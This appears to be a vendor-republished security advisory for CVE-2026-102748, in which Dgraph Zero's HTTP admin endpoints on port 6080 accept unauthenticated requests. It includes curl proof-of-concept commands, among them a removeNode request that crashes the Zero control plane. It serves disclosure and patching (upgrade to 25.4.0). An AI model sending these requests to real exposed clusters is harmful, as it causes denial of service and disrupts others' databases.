Summary
Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service
Dgraph v25.3.8 exposes a Zero HTTP administrative surface that is unauthenticated when port 6080 is reachable.
The exposed routes include:
/state/assign/removeNode/moveTablet
An unauthenticated request to /removeNode?id=1&group=0 on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to localhost:5080.
Details
The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.
Relevant code paths:
worker/server_state.go:41dgraph/cmd/zero/run.go:295-301dgraph/cmd/zero/http.go:106-129dgraph/cmd/zero/zero.go:475-477
The relevant behavior is:
disable-admin-http=falseby default/removeNodeaccepts attacker-controlledidandgroupremoveNodeforwards those directly intoServer.RemoveNode- for
group=0,Server.RemoveNodeimmediately callsProposePeerRemoval
This means a remote unauthenticated caller can directly trigger destructive membership operations if 6080 is exposed.
PoC
Read state without authentication
curl -i http://127.0.0.1:6080/state
Observed response included:
- Zero node
id=1 groupId=0leader=true- cluster topology and tablet state
Write-capable route without authentication
curl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'
Observed response:
HTTP/1.1 200 OK
...
{"startId":"1", "endId":"1", "readOnly":"0"}
This confirms the admin plane is not merely informational.
Destructive unauthenticated removeNode
curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'
Observed result:
curl: (52) Empty reply from server
Immediately afterward:
curl -i http://127.0.0.1:6080/health
Observed result:
curl: (56) Recv failure: Connection reset by peer
Alpha health was still locally reachable, but Alpha logs began repeatedly reporting:
dial tcp [::1]:5080: connect: connection refused
This confirms the request reached the destructive path and disrupted the Zero control plane.
Impact
Any deployment that exposes Zero HTTP on 6080 exposes destructive unauthenticated administrative capabilities.
An attacker can:
- read cluster topology and control-plane metadata
- allocate IDs and timestamps
- invoke destructive membership actions
- disrupt the Zero control plane
- indirectly destabilize Alpha nodes that depend on Zero connectivity
This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.
A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-102748? CVE-2026-102748 is a critical-severity missing authentication for critical function vulnerability in github.com/dgraph-io/dgraph/v25 (go), affecting versions <= 25.3.8. It is fixed in 25.4.0. A critical operation is accessible without requiring any authentication.
- Which versions of github.com/dgraph-io/dgraph/v25 are affected by CVE-2026-102748? github.com/dgraph-io/dgraph/v25 (go) versions <= 25.3.8 is affected.
- Is there a fix for CVE-2026-102748? Yes. CVE-2026-102748 is fixed in 25.4.0. Upgrade to this version or later.
- Is CVE-2026-102748 exploitable, and should I be worried? Whether CVE-2026-102748 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-102748 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-102748? Upgrade
github.com/dgraph-io/dgraph/v25to 25.4.0 or later.